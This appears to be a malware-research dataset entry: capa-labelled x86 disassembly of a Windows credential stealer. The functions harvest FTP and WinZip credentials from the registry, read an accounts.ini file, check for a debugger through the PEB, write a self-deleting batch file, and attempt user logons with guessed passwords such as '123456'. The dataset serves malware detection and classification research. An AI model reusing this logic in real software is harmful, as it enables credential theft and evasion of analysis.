joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40cfad
Capabilities:
Gather robo-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40d202
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40d002
jmp 0x40d1fa
push 0x414c17
push dword [ebp + 0x10]
call fcn.00401d33
push eax
mov edx, eax
lea eax, [ebp - 0x810]
push eax
push edx
call fcn.00401d33
mov dword [ebp - 0x814], eax
call fcn.004018b8
lea eax, [ebp - 0xc]
push eax
push 0x416be9
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x828], eax
push 0
push str.ServerName
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x818], eax
push 0
push 0x416bfd
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x81c], eax
lea eax, [ebp - 0x82c]
push eax
push 0x416c15
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401cac
or eax, eax
je 0x40d0b4
cmp dword [ebp - 0x82c], 4
jne 0x40d0b4
push dword [eax]
pop dword [ebp - 0x820]
push eax
call fcn.004018b8
jmp 0x40d0c8
or eax, eax
je 0x40d0be
push eax
call fcn.004018b8
mov dword [ebp - 0x820], 0x15
push 0
push str.InitialDirectory
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x824], eax
push 0
push str.ServerType
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401cac
mov dword [ebp - 0x830], eax
cmp dword [ebp - 0x828], 0
je 0x40d19f
push 0x416c2b
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x828]
call fcn.00404317
or eax, eax
je 0x40d19f
cmp dword [ebp - 0xc], 0
je 0x40d19f
cmp dword [ebp - 0x81c], 0
je 0x40d19f
cmp dword [ebp - 0x818], 0
je 0x40d19f
push 0xbeef0010
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0xc]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040159f
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x830]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x828]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x824]
call fcn.004018b8
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x830]
call fcn.004018b8
push dword [ebp - 0x814]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040cfad
push dword [ebp - 0x814]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x40cfd4
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40d206
Capabilities:
Gather robo-ftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
lea eax, [ebp - 4]
push eax
push str.FTP_Count
push str.SOFTWARERobo_FTP_3.7Scripts
push dword [ebp + 0xc]
call fcn.00401cac
or eax, eax
je 0x40d291
push eax
cmp dword [ebp - 4], 4
jne 0x40d28c
push dword [eax]
pop dword [ebp - 8]
cmp dword [ebp - 8], 0x1f4
jbe 0x40d242
mov dword [ebp - 8], 0x1f4
jmp 0x40d286
push dword [ebp - 8]
push str.FTP_File_d
lea eax, [ebp - 0x1c]
push eax
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0
lea eax, [ebp - 0x1c]
push eax
push str.SOFTWARERobo_FTP_3.7Scripts
push dword [ebp + 0xc]
call fcn.00401cac
or eax, eax
je 0x40d283
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.00403fa7
call fcn.004018b8
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x40d244
call fcn.004018b8
leave
ret 8

Function at 0x40d4fb
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414c3b]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40d6cd
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40d553
jmp 0x40d6c5
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d33
mov dword [ebp - 0x824], eax
call fcn.004018b8
push 0
push str.Host
push dword [ebp - 0x824]
push dword [0x414c3b]
call fcn.00401cac
mov dword [ebp - 0x810], eax
push 0
push str.User
push dword [ebp - 0x824]
push dword [0x414c3b]
call fcn.00401cac
mov dword [ebp - 0x814], eax
push 0
push str.Pass
push dword [ebp - 0x824]
push dword [0x414c3b]
call fcn.00401cac
mov dword [ebp - 0x818], eax
push 0
push 0x416c8b
push dword [ebp - 0x824]
push dword [0x414c3b]
call fcn.00401cac
mov dword [ebp - 0x81c], eax
push 0
push str.Remote_Dir
push dword [ebp - 0x824]
push dword [0x414c3b]
call fcn.00401cac
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x814], 0
je 0x40d66d
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.0040d4fb
push dword [ebp - 0x824]
call fcn.004018b8
push dword [ebp - 0x810]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x820]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x40d525
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x40d935
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40db15
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40d98a
jmp 0x40db0d
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d33
mov dword [ebp - 0x828], eax
call fcn.004018b8
push 0
push str.HostName
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x810], eax
push 0
push str.UserName
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x814], eax
push 0
push str.Password
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.PortNumber
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x81c], eax
push 0
push str.TerminalType
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x810], 0
je 0x40dab2
cmp dword [ebp - 0x814], 0
je 0x40dab2
cmp dword [ebp - 0x818], 0
je 0x40dab2
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.00401569
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.004015cb
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.004015cb
push dword [ebp - 0x824]
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.0040159f
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.004015cb
push dword [ebp + 0x10]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040d935
push dword [ebp - 0x828]
call fcn.004018b8
push dword [ebp - 0x810]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x820]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x40d95c
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40db9d
Capabilities:
Gather direct-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40ddd2
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40dbf2
jmp 0x40ddca
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d33
mov dword [ebp - 0x828], eax
call fcn.004018b8
push 0
push str.FTP_destination_server
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x810], eax
push 0
push str.FTP_destination_user
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x814], eax
push 0
push str.FTP_destination_password
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.FTP_destination_port
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x81c], eax
push 0
push str.FTP_destination_catalog
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x830]
push eax
push str.FTP_profiles
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x810], 0
je 0x40dd3a
cmp dword [ebp - 0x814], 0
je 0x40dd3a
cmp dword [ebp - 0x818], 0
je 0x40dd3a
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.00401569
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.004015cb
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.004015cb
push dword [ebp - 0x824]
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.0040159f
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.004015cb
cmp dword [ebp - 0x830], 0
je 0x40dd64
push 0xbeef0001
push dword [ebp + 0x10]
call fcn.00401569
push dword [ebp - 0x830]
push dword [ebp - 0x82c]
push dword [ebp + 0x10]
call fcn.0040159f
push dword [ebp + 0x10]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040db9d
push dword [ebp - 0x828]
call fcn.004018b8
push dword [ebp - 0x810]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x820]
call fcn.004018b8
push dword [ebp - 0x82c]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x40dbc4
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40e172
Capabilities:
Gather winzip information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40e2b7
push 0
push str.Site
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 8], eax
push 0
push str.UserID
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
push eax
push str.xflags
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x10], eax
push 0
push str.Port
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x14], eax
push 0
push str.Folder
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x10], 0
je 0x40e287
cmp dword [ebp - 0x1c], 0
je 0x40e287
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call fcn.00402a48
or eax, eax
je 0x40e287
shr dword [ebp - 0x1c], 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x10]
call fcn.00404317
or eax, eax
je 0x40e287
cmp dword [ebp - 8], 0
je 0x40e287
cmp dword [ebp - 0xc], 0
je 0x40e287
cmp dword [ebp - 0x10], 0
je 0x40e287
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.00401569
push dword [ebp - 8]
push dword [ebp + 0x10]
call fcn.004015cb
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.004015cb
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push dword [ebp + 0x10]
call fcn.0040159f
push dword [ebp - 0x14]
push dword [ebp + 0x10]
call fcn.004015cb
push dword [ebp - 0x18]
push dword [ebp + 0x10]
call fcn.004015cb
push dword [ebp - 8]
call fcn.004018b8
push dword [ebp - 0xc]
call fcn.004018b8
push dword [ebp - 0x10]
call fcn.004018b8
push dword [ebp - 0x14]
call fcn.004018b8
push dword [ebp - 0x18]
call fcn.004018b8
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x40e2bb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40e380
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
or eax, eax
je 0x40e312
jmp 0x40e378
cmp dword [ebp - 0x814], 1
je 0x40e320
inc dword [ebp - 8]
jmp 0x40e2e2
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401cac
or eax, eax
je 0x40e370
mov dword [ebp - 0x810], eax
push str..wjf
push dword [ebp - 0x810]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x40e365
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.0040e039
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x40e2e2
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40e934
Capabilities:
Query or enumerate registry key
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
push 0x105
call fcn.004018cf
mov dword [ebp - 0x818], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40ea6f
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40e999
jmp 0x40ea67
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d33
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push str.Path
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401cac
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x40ea38
push str.PocoSystem.ini
push dword [ebp - 0x814]
call fcn.00401d33
push eax
push eax
push 0x104
push dword [ebp - 0x818]
push 0x414c19
push str.DataPath
push str.Program
call sub.kernel32.dll_GetPrivateProfileStringA
cmp eax, 3
jbe 0x40ea33
push 0xbeef0000
push str.accounts.ini
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.0040428c
call fcn.004018b8
push dword [ebp + 0x10]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040e934
push dword [ebp - 0x810]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x40e96b
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 0x818]
call fcn.004018b8
leave
ret 0xc
Function at 0x40f248
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40f2e3
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40f296
jmp 0x40f2db
push 0x414c17
push dword [ebp + 0x10]
call fcn.00401d33
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d87
mov dword [ebp - 0x810], eax
push 0
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f0b3
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x40f26b
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x40f2e7
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40f38d
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40f339
jmp 0x40f385
push 0x414c17
push dword [ebp + 0x10]
call fcn.00401d33
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d87
push dword [ebp + 0x14]
push eax
call fcn.00401d87
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f248
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x40f30e
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0x10

Function at 0x40f8bf
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
push ebp
mov ebp, esp
pop ebp
push 0x40f8d4
clc
jb 0x40f8d3
ret
inc edi
inc ebp
cld
add byte [eax], al
add byte [eax], al
mov edi, 0x4175e7
push dword [ebp + 8]
pop dword [0x417773]
mov eax, dword fs:[0x30]
cmp byte [eax + 2], 0
je 0x40f8fd
push dword [ebp + 8]
call fcn.00401021
jmp 0x40f9ba
call fcn.00402345
push dword [ebp + 8]
call fcn.00401522
mov dword [0x41776f], eax
push dword fs:[0]
mov eax, esp
push dword fs:[0]
push ebp
push eax
push 0x40f9b0
push 0x40f969
push eax
mov dword fs:[0], esp
push dword [ebp + 8]
call dword [edi]
cmp dword [edi], 0x404538
je 0x40f964
cmp eax, 0x10
je 0x40f953
mov dword [ebp - 4], 1
jmp 0x40f964
push dword [0x41776f]
push dword [0x417773]
call fcn.004012dc
add esp, 0x18
jmp 0x40f9b0
pop dword fs:[0]
add edi, 4
cmp dword [edi], 0
jne 0x40f902
mov eax, dword [ebp - 4]
pop edi
leave
ret 4
Function at 0x40ff40
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebp
mov ebp, esp
pop ebp
push 0x40ff54
clc
jb 0x40ff53
ret
dec dword [ebx - 0x6f36742e]
push 0x105
call fcn.004018cf
nop
mov edx, edx
mov ecx, ecx
nop
mov dword [ebp - 0x14], eax
nop
call sub.kernel32.dll_GetTickCount
push eax
push str._d.bat
push dword [ebp - 0x14]
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0x105
call fcn.004018cf
nop
mov edx, edx
mov ecx, ecx
nop
mov dword [ebp - 4], eax
mov edx, edx
mov ecx, ecx
nop
push 0x105
call fcn.004018cf
nop
mov edx, edx
mov ecx, ecx
mov dword [ebp - 0x10], eax
nop
push 0x105
call fcn.004018cf
mov edx, edx
mov ecx, ecx
nop
mov edx, edx
mov ecx, ecx
mov dword [ebp - 8], eax
mov ecx, ecx
mov edx, edx
mov edx, edx
mov ecx, ecx
nop
push 0x104
push dword [ebp - 4]
push dword [0x41779c]
call sub.kernel32.dll_GetModuleFileNameA
nop
mov edx, edx
mov ecx, ecx
mov edx, edx
mov ecx, ecx
push dword [ebp - 0x10]
push 0x104
call sub.kernel32.dll_GetTempPathA
or eax, eax
je 0x41000a
mov ecx, ecx
mov edx, edx
nop
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call sub.kernel32.dll_lstrcatA
mov edx, edx
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp - 0x10]
call sub.kernel32.dll_CreateFileA
mov ecx, ecx
mov dword [ebp - 0xc], eax
mov ecx, ecx
inc eax
or eax, eax
jne 0x410071
push dword [ebp - 4]
push dword [ebp - 0x10]
call sub.kernel32.dll_lstrcpyA
push 0x5c
push 0
push dword [ebp - 0x10]
call sub.shlwapi.dll_StrRChrIA
or eax, eax
je 0x410054
inc eax
push dword [ebp - 0x14]
push eax
call sub.kernel32.dll_lstrcpyA
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp - 0x10]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0xc], eax
inc eax
je 0x4100dc
push str._r_n_t_t_r_n_r_n_t___:ktk____r_n_r_n_r_n_____del_____t__1___r_n_tif___t_t_exist__t____1___t__goto__t_r_ktk_r_n_del__t___0
call sub.kernel32.dll_lstrlenA
push eax
push str._r_n_t_t_r_n_r_n_t___:ktk____r_n_r_n_r_n_____del_____t__1___r_n_tif___t_t_exist__t____1___t__goto__t_r_ktk_r_n_del__t___0
push dword [ebp - 0xc]
call fcn.00401422
push eax
push dword [ebp - 0xc]
call sub.kernel32.dll_CloseHandle
pop eax
or eax, eax
jne 0x410099
jmp 0x4100dc
push dword [ebp - 4]
push str.________s_
push dword [ebp - 8]
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0x417833
call sub.kernel32.dll_LoadLibraryA
or eax, eax
je 0x4100dc
push 0x4177c6
push eax
call sub.kernel32.dll_GetProcAddress
or eax, eax
je 0x4100dc
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 0x10]
push str.open
push 0
call eax
push dword [ebp - 0x14]
call fcn.004018b8
push dword [ebp - 4]
call fcn.004018b8
push dword [ebp - 0x10]
call fcn.004018b8
push dword [ebp - 8]
call fcn.004018b8
leave
ret
Function at 0x410208
Capabilities:
Impersonate user

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push edi
push ebp
mov ebp, esp
pop ebp
push 0x41021e
clc
jb 0x41021d
ret
inc dword [ebx + 0x414efd3d]
add byte [eax], al
je 0x410230
cmp dword [0x414f09], 0
jne 0x410236
sub eax, eax
pop edi
pop ebx
leave
ret
mov ebx, dword [0x417777]
jmp 0x4103d2
call fcn.00402b05
cmp dword [0x41777b], 0
je 0x410266
push dword [ebx + 4]
push dword [0x41777b]
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x410266
jmp 0x4103d0
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push dword [ebx + 4]
push 0
push dword [ebx + 4]
call dword [0x414f09]
or eax, eax
je 0x41028c
jmp 0x410315
push dword [ebx + 4]
call fcn.00402958
mov dword [ebp - 8], eax
push dword [ebx + 4]
call sub.kernel32.dll_lstrlenA
push eax
push dword [ebp - 8]
push eax
push dword [ebx + 4]
push 0x100
push 0x400
call sub.kernel32.dll_LCMapStringA
or eax, eax
je 0x4102e5
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push dword [ebp - 8]
push 0
push dword [ebx + 4]
call dword [0x414f09]
or eax, eax
je 0x4102e5
push dword [ebp - 8]
call fcn.004018b8
jmp 0x410315
push dword [ebp - 8]
call fcn.004018b8
mov edi, str.123456
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push edi
push 0
push dword [ebx + 4]
call dword [0x414f09]
or eax, eax
je 0x4103be
mov dword [ebp - 0x28], 0x20
mov dword [ebp - 0x24], 1
push dword [ebx + 4]
pop dword [ebp - 0x20]
push dword [ebx + 8]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call sub.userenv.dll_LoadUserProfileA
or eax, eax
je 0x410373
cmp dword [ebp - 0xc], 0
je 0x41036a
push dword [ebp - 0xc]
pop dword [0x414c3b]
mov dword [ebp - 0x2c], 1
jmp 0x41037a
mov dword [ebp - 0x2c], 0
push dword [ebp - 4]
call dword [0x414efd]
or eax, eax
je 0x4103a5
call fcn.0040fc3b
cmp dword [0x414ef5], 0
je 0x41039b
call dword [0x414ef5]
mov dword [0x414c3b], 0x80000001
cmp dword [ebp - 0x2c], 0
je 0x4103b6
push dword [ebp - 0xc]
push dword [ebp - 4]
call sub.userenv.dll_UnloadUserProfile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
cld
xor eax, eax
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
cmp byte [edi], al
jne 0x4102f2
mov ebx, dword [ebx]
or ebx, ebx
jne 0x410241
mov eax, 1
pop edi
pop ebx
leave
ret